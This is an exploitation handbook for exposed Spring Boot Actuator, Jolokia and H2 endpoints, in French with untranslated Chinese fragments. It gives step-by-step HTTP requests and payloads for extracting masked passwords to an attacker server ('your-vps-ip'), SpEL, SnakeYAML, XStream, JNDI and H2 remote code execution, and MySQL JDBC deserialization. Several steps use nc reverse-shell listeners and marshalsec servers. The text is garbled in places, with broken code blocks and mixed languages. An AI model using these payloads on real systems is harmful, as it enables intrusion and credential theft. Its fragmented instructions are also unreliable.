
Documents d'apprentissage sur les vulnérabilités liées à SpringBoot, collection de méthodes et techniques d'exploitation, liste de vérification pour évaluation de sécurité en boîte noire
Documentation d'apprentissage des vulnérabilités liées à Spring Boot, recueil de méthodes et techniques d'exploitation, check list pour l'évaluation de sécurité en boîte noire
⚠️ Tout le contenu de ce projet est destiné uniquement à la recherche en sécurité et aux tests autorisés. Les personnes concernées ne sauraient être tenues responsables des dommages causés par une mauvaise utilisation ou un abus de ce projet.
/manage, /management ou le nom lié à l'App du projet comme chemin racine Spring./ comme chemin racine des routes intégrées, tandis que la version 2.x utilise /actuator comme chemin racine./env, sont parfois modifiés par les programmeurs, par exemple en /appenv.Spring Cloud est un ensemble ordonné de frameworks basé sur Spring Boot pour la construction de services, fournissant des fonctionnalités courantes telles que la gestion de configuration, la découverte et l'enregistrement de services, et le routage intelligent, afin d'aider au développement rapide de systèmes distribués.
| Dépendance | Liste des versions et versions des composants dépendants |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies |
| Suffixe de version mineure | Signification |
|---|---|
| BUILD-SNAPSHOT | Version snapshot, le code n'est pas fixe, en évolution |
Les développeurs ne réalisent pas que la divulgation d'adresses peut entraîner des risques de sécurité, ou lors du passage d'un environnement de développement à un environnement de production en ligne, les personnes concernées n'ont pas modifié les fichiers de configuration, oubliant de changer la configuration de l'environnement, etc.
Accéder directement aux deux routes swagger suivantes pour vérifier si la vulnérabilité existe :``` /v2/api-docs /swagger-ui.html
Autres routes d'interface liées à swagger, swagger codegen, swagger-dubbo, etc., que l'on peut rencontrer :```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
En dehors de cela, les routes liées à spring boot actuator ci-dessous contiennent parfois (ou permettent de déduire) des informations d'adresse d'interface, mais ne permettent pas d'obtenir les informations relatives aux paramètres :``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**En général, exposer les interfaces et les paramètres d'une application Spring Boot n'est pas considéré comme une vulnérabilité**, mais du point de vue de la "**sécurité par défaut**", il est plus sûr de ne pas exposer ces informations.
Pour un attaquant, il examine généralement en détail les interfaces exposées pour mieux comprendre le système métier, et vérifie en même temps si l'application présente d'autres types de vulnérabilités telles que l'accès non autorisé, l'escalade de privilèges, etc.
### 0x02 : Routes exposées en raison d'une mauvaise configuration
> Cela est principalement dû au fait que le développeur n'a pas réalisé que l'exposition des routes pouvait présenter un risque de sécurité, ou n'a pas suivi le processus standard, oubliant de modifier/basculer la configuration de l'environnement de production lors de la mise en ligne.
Consultez [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) et [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Les routes intégrées par défaut qui peuvent être exposées en raison d'une mauvaise configuration sont les suivantes :```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
Parmi celles-ci, les interfaces importantes pour trouver des vulnérabilités sont :
/env, /actuator/env
Une requête GET sur /env peut directement divulguer des variables d'environnement, des adresses du réseau interne, des noms d'utilisateur dans la configuration, etc. ; lorsque le nom des propriétés n'est pas standardisé par le développeur, par exemple password écrit comme psasword, pwd, le mot de passe en clair est divulgué.
Simultanément, il est possible, avec une certaine probabilité, de définir certaines propriétés via une requête POST sur l'interface /env, déclenchant indirectement des vulnérabilités RCE ; il est également possible d'obtenir en clair des mots de passe, clés et autres informations de confidentialité importantes masqués par des astérisques.
/refresh, /actuator/refresh
Après avoir défini des propriétés via une requête POST sur l'interface /env, on peut en même temps utiliser une requête POST sur l'interface /refresh pour actualiser les variables de propriétés, déclenchant ainsi des vulnérabilités RCE associées.
/restart, /actuator/restart
L'exposition de cette interface est rare ; on peut définir des propriétés via une requête POST sur l'interface , puis envoyer une requête POST sur l'interface pour redémarrer l'application, déclenchant ainsi des vulnérabilités RCE associées.
Lors de l'accès à l'interface
/env, spring actuator remplace les valeurs des propriétés dont le nom contient des mots-clés sensibles (comme password, secret) par des astérisques * pour les masquer.
/jolokia ou /actuator/jolokiajolokia-core (version requise inconnue pour le moment)Envoyez une requête GET à l'interface /env ou /actuator/env du site cible, recherchez le mot-clé ****** pour trouver le nom de la propriété correspondant à la valeur masquée par des astérisques * que vous souhaitez obtenir.
Remplacez security.user.password dans l'exemple ci-dessous par le nom de la propriété réel à obtenir, puis envoyez directement la requête ; le résultat en texte clair se trouve dans la clé value du paquet de réponse.
org.springframework.bootEn réalité, il invoque la méthode getProperty de l'instance de la classe org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environmentAppelle en réalité la méthode getProperty de l'instance de la classe org.springframework.cloud.context.environment.EnvironmentManager
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
目标具体情况和存在的 Mbean 可能不一样,可以搜索
getProperty等关键词,寻找可以调用的方法。
/env/env/refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)spring-cloud-starter-netflix-eureka-client 依赖GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
在自己控制的外网服务器上监听 80 端口:```bash nc -lvk 80
##### Étape 3 : Définir la propriété eureka.client.serviceUrl.defaultZone
Remplacez `security.user.password` dans l'URL ci-dessous `http://value:${security.user.password}@your-vps-ip` par le nom de la propriété masquée par des astérisques * que vous souhaitez obtenir ;
Remplacez `your-vps-ip` par l'adresse IP réelle de votre serveur externe.
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### Étape 4 : Rafraîchir la configuration
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### Étape cinq : Décoder la valeur de l'attribut
Normalement, à ce stade, le serveur écouté par nc recevra une demande de la cible, contenant un en-tête `Authorization` similaire à ceci :```
Authorization: Basic dmFsdWU6MTIzNDU2
Décodez la partie dmFsdWU6MTIzNDU2 en base64, vous obtiendrez une valeur en clair similaire à value:123456, où 123456 correspond à la valeur de l'attribut en clair avant le masquage par les astérisques *.
/envRéférence à issue-1 proposée par UUUUnotfound, il est possible, lors de l'envoi d'une requête HTTP externe par la cible, d'extraire des données en utilisant des espaces réservés dans le chemin URL
Envoyez une requête GET à l'interface /env ou /actuator/env du site cible, recherchez le mot-clé ******, et trouvez le nom de l'attribut correspondant à la valeur masquée par les astérisques * que vous souhaitez obtenir.
Sur le serveur externe que vous contrôlez, écoutez sur le port 80 :```bash nc -lvk 80
##### Étape 3 : déclencher une requête HTTP externe
- Méthode `spring.cloud.bootstrap.location` (**également applicable** lorsque les données en clair contiennent des caractères d'URL spéciaux)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` méthode ( **non applicable** aux cas où il y a des caractères d'URL spéciaux dans les données en clair)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### Étape 4 : Actualiser la configuration
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06 : Obtenir le texte en clair des mots de passe masqués par des astérisques (méthode 4)
> Lors de l'accès à l'interface `/env`, spring actuator remplace par des astérisques (*) les valeurs des propriétés dont les noms contiennent des mots-clés sensibles (comme `password`, `secret`) afin de les masquer.
#### Conditions d'exploitation :
- Pouvoir envoyer une requête GET normale vers l'interface `/heapdump` ou `/actuator/heapdump` de la cible
#### Méthode d'exploitation :
##### Étape 1 : Trouver le nom de la propriété souhaitée
Envoyez une requête GET vers l'interface `/env` ou `/actuator/env` de la cible, recherchez le mot-clé `******` et trouvez le nom de la propriété correspondant à la valeur masquée par des astérisques que vous souhaitez obtenir.
##### Étape 2 : Télécharger les informations du heap JVM
> La taille du fichier heapdump téléchargé est généralement comprise entre 50 Mo et 500 Mo, mais peut parfois dépasser 2 Go.
Envoyez une requête `GET` vers l'interface `/heapdump` ou `/actuator/heapdump` de la cible pour télécharger les informations en temps réel du heap JVM de l'application.
##### Étape 3 : Utiliser MAT pour obtenir le texte en clair des mots de passe dans le heap JVM
Référez-vous à l'[article](https://landgrey.me/blog/16/) pour la méthode, utilisez les instructions **OQL** de l'outil [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php).```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准
比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。
输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
由字符串格式转换成 0x** java 字节形式,方便执行任意代码:```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
Exécutez la commande `open -a Calculator````java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelperparseStringValue${} est ensuite interprété et exécuté comme une expression SpEL par la méthode resolvePlaceholder de la classe org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration, provoquant une vulnérabilité RCE Analyse et reproduction de la vulnérabilité d'injection d'expression SpEL dans SpringBoot
repository/springboot-spel-rce
Accès normal :``` http://127.0.0.1:9091/article?id=66
Exécutez la commande `open -a Calculator` :```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env du site cible pour définir des propriétés/refresh du site cible pour rafraîchir la configuration (dépendance spring-boot-starter-actuator présente)spring-cloud-starter utilisée par la cible est < 1.3.0.RELEASESur une machine VPS que vous contrôlez, démarrez un serveur HTTP simple, en utilisant de préférence un port de service HTTP courant (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Dans le répertoire racine du site web, placez un fichier avec l'extension `yml` nommé `example.yml`, dont le contenu est le suivant :```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
Placez dans le répertoire racine du site un fichier avec l'extension jar nommé example.jar, dont le contenu est le code à exécuter. Pour la rédaction et la compilation du code, référez-vous à yaml-payload.
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
spring.cloud.bootstrap.location est définie sur l'URL d'un fichier yaml malveillant externerefresh déclenche la machine cible pour demander le fichier yaml sur le serveur HTTP distant, obtenant son contenujava.net.URL pour récupérer le fichier jar malveillant sur le serveur HTTP distantjavax.script.ScriptEngineFactory dans le fichier jar et l'instancie Note d'étude sur l'exploitation de Spring Boot Actuator via Spring Cloud Env
repository/springcloud-snakeyaml-rce
Accès normal :``` http://127.0.0.1:9092/env
### 0x03 : Désérialisation XStream d'Eureka - RCE
#### Conditions d'exploitation :
- Pouvoir envoyer une requête POST à l'endpoint `/env` du site cible pour définir des propriétés
- Pouvoir envoyer une requête POST à l'endpoint `/refresh` du site cible pour actualiser la configuration (nécessite la dépendance `spring-boot-starter-actuator`)
- La cible utilise `eureka-client` < 1.8.7 (généralement inclus dans la dépendance `spring-cloud-starter-netflix-eureka-client`)
- La cible peut contacter le serveur HTTP de l'attaquant (les requêtes peuvent sortir du réseau interne)
#### Méthode d'exploitation :
##### Étape 1 : Mettre en place un site web servant un payload XStream malveillant
Fournir un [exemple de script Python](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) utilisant Flask et répondant aux exigences. Son objectif est d'utiliser le Python présent sur la machine Linux cible pour exécuter un reverse shell.
Exécutez le script ci-dessus sur votre propre serveur en utilisant Python, et modifiez l'adresse IP et le port du reverse shell dans le script en fonction de votre environnement.
##### Étape 2 : Écouter le port du reverse shell
Utilisez généralement `nc` pour écouter sur un port en attendant le reverse shell.```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
eureka.client.serviceUrl.defaultZone est définie sur une URL malveillante d'un serveur eureka externe.refresh déclenche la machine cible pour qu'elle fasse une requête vers l'URL distante ; un faux serveur eureka préalablement mis en place renvoie une charge utile malveillante. Spring Boot Actuator - De l'accès non autorisé au getchell
repository/springboot-eureka-xstream-rce
Accès normal :``` http://127.0.0.1:9093/env
### 0x04: Jolokia Logback JNDI RCE
#### Conditions d'exploitation :
- Le site cible dispose d'une interface `/jolokia` ou `/actuator/jolokia`
- La cible utilise la dépendance `jolokia-core` (exigence de version inconnue pour l'instant) et l'environnement contient les MBeans concernés
- La cible peut faire des requêtes vers le serveur HTTP de l'attaquant (les requêtes peuvent sortir du réseau interne)
- L'injection JNDI standard est affectée par la version JDK de la cible, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), mais les environnements concernés peuvent être contournés
#### Méthode d'exploitation :
##### Étape 1 : Voir les MBeans existants
Accédez à l'interface `/jolokia/list` et vérifiez la présence des mots-clés `ch.qos.logback.classic.jmx.JMXConfigurator` et `reloadByURL`.
##### Étape 2 : Héberger le fichier XML
Sur votre propre serveur VPS, démarrez un serveur HTTP simple et utilisez de préférence un port commun (80, 443).```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以 xml 结尾的 example.xml 文件,内容如下:```xml
##### Étape 3 : Préparer le code Java à exécuter
Rédigez le code Java d'exemple optimisé pour obtenir un reverse shell [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`,
Compilez de manière compatible avec les versions antérieures de JDK :```bash
javac -source 1.5 -target 1.5 JNDIObject.java
然后将生成的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。
下载 marshalsec ,使用下面命令架设对应的 ldap 服务:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### Étape 5 : Écouter le port pour le reverse shell
Généralement, on utilise nc pour écouter un port et attendre le reverse shell.```bash
nc -lv 443
⚠️ Si la cible a bien demandé example.xml et que marshalsec a également reçu la demande, mais que la cible n'a pas demandé JNDIObject.class, il est probable que la version JDK de l'environnement cible soit trop élevée, ce qui entraîne l'échec de l'exploitation JNDI.
Remplacez l'adresse your-vps-ip par l'adresse réelle et accédez à l'URL pour déclencher la vulnérabilité :``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### Principe de la vulnérabilité :
1. Accéder directement à l'URL qui déclenche la vulnérabilité, ce qui équivaut à invoquer la méthode `reloadByURL` de la classe `ch.qos.logback.classic.jmx.JMXConfigurator` via jolokia
2. La machine cible demande l'URL du fichier de configuration de journalisation externe et obtient le contenu du fichier XML malveillant
3. La machine cible utilise saxParser.parse pour analyser le fichier XML (ce qui entraîne une vulnérabilité XXE)
4. Dans le fichier XML, la balise `insertFormJNDI` de la dépendance `logback` est utilisée pour définir l'adresse du serveur JNDI externe
5. La machine cible demande le serveur JNDI malveillant, ce qui entraîne une injection JNDI et provoque une vulnérabilité RCE
#### Analyse de la vulnérabilité :
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### Environnement de la vulnérabilité :
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Accès normal :```
http://127.0.0.1:9094/env
/jolokia ou /actuator/jolokia existe sur le site ciblejolokia-core (version requise inconnue pour le moment) et les MBeans correspondants sont présents dans l'environnementAccédez à l'interface /jolokia/list et vérifiez la présence des mots-clés type=MBeanFactory et createJNDIRealm.
Écrivez le code Java exemple JNDIObject.java optimisé pour ouvrir un shell inverse.
Sur votre machine VPS que vous contrôlez, démarrez un simple serveur HTTP en utilisant de préférence un port de service HTTP courant (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Copiez le fichier de classe compilé à l'**étape deux** dans le répertoire racine du serveur HTTP.
##### Étape 4 : Mettre en place un service RMI malveillant
Téléchargez [marshalsec](https://github.com/mbechler/marshalsec), puis utilisez la commande ci-dessous pour mettre en place le service RMI correspondant :```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
Généralement, utilisez nc pour écouter un port et attendre le shell inversé.```bash nc -lvp 443
##### Étape 6 : Envoi du payload malveillant
Modifiez l'adresse cible, l'adresse RMI, le port et d'autres informations dans le script [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) en fonction de la situation réelle, puis exécutez-le sur le serveur que vous contrôlez.
#### Principe de la vulnérabilité :
1. Utiliser Jolokia pour appeler createJNDIRealm afin de créer un JNDIRealm
2. Définir l'URL de connexion comme URL du service RMI
3. Définir contextFactory sur RegistryContextFactory
4. Arrêter le Realm
5. Démarrer le Realm pour déclencher l'injection JNDI à l'adresse RMI spécifiée, provoquant une vulnérabilité RCE
#### Analyse de la vulnérabilité :
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### Environnement de vulnérabilité :
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Accès normal :```
http://127.0.0.1:9094/env
/env du site cible pour définir une propriété/restart du site cible pour redémarrer l'applicationcom.h2database.h2 (version requise inconnue pour le moment)spring.datasource.hikari.connection-test-query⚠️ La méthode 'T5' dans le payload ci-dessous doit être renommée (par exemple en T6) après chaque exécution de commande avant de pouvoir être recréée et utilisée, sinon la vulnérabilité ne sera pas déclenchée lors du prochain redémarrage de l'application avec
/restart
spring 1.x (exécution de commande sans retour)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x(exécution de commande sans retour)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
CREATE ALIAS créant une fonction personnalisée. remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
repository/springboot-h2-database-rce
Accès normal :``` http://127.0.0.1:9096/actuator/env
### 0x07:h2 database console JNDI RCE
#### Conditions d'exploitation :
- Présence de la dépendance `com.h2database.h2` (version requise inconnue pour l'instant)
- Activer la console h2 dans la configuration Spring `spring.h2.console.enabled=true`
- La cible doit pouvoir contacter le serveur de l'attaquant (les requêtes doivent sortir du réseau)
- L'injection JNDI est affectée par la version JDK de la cible : jdk < 6u201/7u191/8u182/11.0.1 (méthode LDAP)
#### Méthode d'exploitation :
##### Étape 1 : Obtenir le jsessionid via la route
Accéder directement à la route par défaut `/h2-console` de la cible sur laquelle la console h2 est activée. La cible redirige vers la page `/h2-console/login.jsp?jsessionid=xxxxxx`. Noter la valeur réelle de `jsessionid=xxxxxx`.
##### Étape 2 : Préparer le code Java à exécuter
Écrire le [code Java exemple](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) optimisé pour obtenir un reverse shell `JNDIObject.java`,
Compiler d'une manière compatible avec les versions antérieures de JDK :```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Ensuite, copiez le fichier JNDIObject.class généré dans le répertoire racine du site web de l'étape 2.
Sur la machine VPS que vous contrôlez, démarrez un serveur HTTP simple, en utilisant de préférence des ports de services HTTP courants (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Copiez le fichier de classe compilé dans l'**étape 2** vers le répertoire racine du serveur HTTP.
##### Étape 4 : Mettre en place un service LDAP malveillant
Téléchargez [marshalsec](https://github.com/mbechler/marshalsec) et utilisez la commande suivante pour mettre en place le service LDAP correspondant :```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
Habituellement, on utilise nc pour écouter sur un port et attendre le reverse shell.```bash nc -lv 443
##### Étape six : Déclencher l'injection JNDI par l'envoi de paquets
Selon la situation réelle, remplacez dans les données ci-dessous `jsessionid=xxxxxx`, `www.example.com` et `ldap://your-vps-ip:1389/JNDIObject````bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
Spring Boot + Injection JNDI de base de données H2
repository/springboot-h2-database-rce
Accès normal :``` http://127.0.0.1:9096/h2-console
### 0x08 : Désérialisation JDBC MySQL RCE
#### Conditions d'exploitation :
- Possibilité d'envoyer une requête POST à l'interface `/env` du site cible pour définir des propriétés
- Possibilité d'envoyer une requête POST à l'interface `/refresh` du site cible pour actualiser la configuration (à condition que la dépendance `spring-boot-starter-actuator` soit présente)
- La présence de la dépendance `mysql-connector-java` dans l'environnement cible
- La cible peut effectuer des requêtes vers le serveur de l'attaquant (les requêtes peuvent sortir du réseau interne)
#### Méthode d'exploitation :
##### Étape 1 : Vérifier les dépendances de l'environnement
Envoyer une requête GET à `/env` ou `/actuator/env`, rechercher le mot-clé `mysql-connector-java` dans les variables d'environnement (classpath) et noter son numéro de version (5.x ou 8.x) ;
Rechercher et observer s'il existe des dépendances de gadget de désérialisation courantes dans les variables d'environnement, telles que `commons-collections`, `Jdk7u21`, `Jdk8u20`, etc. ;
Rechercher le mot-clé `spring.datasource.url`, noter sa valeur `value` afin de pouvoir restaurer ultérieurement la valeur normale de l'URL JDBC.
##### Étape 2 : Mettre en place un serveur MySQL malveillant (rogue)
Exécuter le script [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) sur un serveur que vous contrôlez, et utiliser [ysoserial](https://github.com/frohoff/ysoserial) pour personnaliser la commande à exécuter :```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
Générer le fichier payload de désérialisation payload.ser dans le même répertoire que le script, pour utilisation par le script.
⚠️ Modifier cette propriété rendra temporairement tous les services de base de données normaux du site indisponibles, ce qui affectera les opérations métier. Veuillez procéder avec prudence !
La version mysql-connector-java 5.x définit la valeur de la propriété comme :``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x version définit la **valeur de propriété** à :```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Essayez d'accéder à une interface connue de requête de base de données du site, par exemple : /product/list, ou cherchez d'autres moyens de déclencher activement une requête de base de données du site source, puis la vulnérabilité sera déclenchée.
Une fois l'exploitation de la vulnérabilité de désérialisation terminée, utilisez la méthode de l'étape 3 pour restaurer la valeur value d'origine du spring.datasource.url enregistré à l'étape 1.
spring.datasource.url est définie sur une URL JDBC MySQL malveillante externe.refresh), une nouvelle valeur de propriété spring.datasource.url est définie.mysql-connector-java dépendant de la cible déserialise le gadget configuré, provoquant une vulnérabilité RCE.New-Exploit-Technique-In-Java-Deserialization-Attack
Vous devez configurer
spring.datasource.url,spring.datasource.usernameetspring.datasource.passworddansapplication.propertiespour garantir une connexion normale à la base de données MySQL, sinon le programme plantera dès le démarrage.
repository/springboot-mysql-jdbc-rce
Accès normal :``` http://127.0.0.1:9097/actuator/env
Après avoir envoyé le payload, la vulnérabilité est déclenchée :```
http://127.0.0.1:9097/product/list
/env du site cible pour définir des propriétés/restart du site cible pour redémarrer l'applicationjavax.naming.spi.ObjectFactory, sinon le programme se terminera anormalement.Ouvrir un simple serveur HTTP sur votre VPS contrôlé, en utilisant autant que possible des ports de service HTTP courants (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Dans le répertoire racine, placez le fichier `example.xml` se terminant par `xml`. Le contenu réel doit être déterminé en fonction du service JNDI utilisé à l'étape 2 :```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
Référez-vous à l'article, modifiez JNDIExploit et démarrez-le (d'autres méthodes sont également possibles) :```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### Étape 3 : Définir la propriété logging.config
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
Spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### Étape 4 : Redémarrer l'application
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Principe de la vulnérabilité :
1. La machine cible configure l'URL du fichier de configuration logback via la propriété `logging.config`.
2. Après un redémarrage (restart), l'application demande l'URL pour obtenir le contenu du fichier xml malveillant.
3. La machine cible utilise `saxParser.parse` pour analyser le fichier xml (ce qui entraîne une vulnérabilité XXE).
4. Le fichier xml utilise la balise `insertFormJNDI` de la dépendance `logback` pour définir une adresse de serveur JNDI externe.
